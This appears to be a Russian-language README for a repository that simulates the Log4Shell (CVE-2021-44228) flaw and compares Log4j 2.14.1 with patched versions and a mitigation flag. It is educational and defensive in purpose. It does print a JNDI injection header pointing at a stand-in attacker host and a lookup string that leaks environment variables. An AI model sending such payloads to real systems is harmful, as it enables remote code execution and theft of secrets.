
A simple simulation of the infamous CVE-2021-44228 issue.
Этот репозиторий представляет собой упрощённую симуляцию известной проблемы CVE-2021-44228.
Помимо поиска системных свойств и других структур-словарей, Apache Log4j также реализует функцию JNDI-запроса по различным причинам. JNDI может получать службы от нескольких поставщиков услуг, таких как LDAP, DNS, реестр Java RMI и т.д. Сам JNDI является простым и небезопасным API, который не защищает от поставщиков услуг, контролируемых третьей стороной. Пока злоумышленник контролирует сервер, общедоступный по вредоносному URL, и знает, что именно логируется приложением, прослушивающим определённый порт, он может злоупотребить форматом логов, чтобы заставить приложение загрузить и выполнить произвольный Java-код через JNDI-инъекцию. Это можно передать через часто логируемые заголовки запросов как в открытом тексте, так и в обфусцированной форме.
user-agent: ${jndi:ldap://evilserver.com/payload}
Apache Log4j был уязвим для удаленного выполнения кода до выхода версии 2.16.0 13 декабря, и авторы заслуживают моего уважения за их быструю реакцию.
Ресурсы:
В симуляции используются переменные окружения вместо LDAP-сервера, а формат логов поддерживает подстановку свойств. Принцип тот же.
Требуются Java 11 и Maven, тем не менее Maven Wrapper также включён в репозиторий.
Репозиторий GitHub определяет секрет репозитория PASSWORD, который устанавливается как переменная окружения в файле workflow .github/workflow/ci.yml, чтобы сделать секрет доступным для действия.
Для воспроизведения проблемы локально можно использовать общеупотребительную переменную окружения JAVA_HOME.
Workflow собирает и запускает два приложения с разными версиями Apache Log4j 2.14.1 и 2.16.0. Вот пример выполнения на GitHub Actions: Java CI #7.
Эта версия уязвима к атаке. Выполните следующие шаги для воспроизведения:
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
Переменная окружения появляется в логе:
args[0] = C:\Program Files\Java\jdk-11.0.11
Вот скриншот из GitHub Action на случай, если реальный запуск будет автоматически удалён:

Обратите внимание: если вы попытаетесь вывести секреты в лог, GitHub автоматически их скрывает, и значения маскируются и отображаются как ***. Однако свойство было подставлено.
Временное и частичное решение заключается в добавлении JVM-параметра -Dlog4j2.formatMsgNoLookups=True, для чего необходимо перезапустить все узлы приложения.
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
Подстановка свойств не происходит:
args[0] = ${env:JAVA_HOME:-}
И снова скриншот из GitHub Actions:

Проблема была исправлена в Log4j 2.12.2 (Java 7) и Log4j 2.16.0 (Java 8) командой Log4j Security.
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
Подстановка свойств не происходит:
args[0] = ${env:JAVA_HOME:-}
И снова скриншот из GitHub Actions:
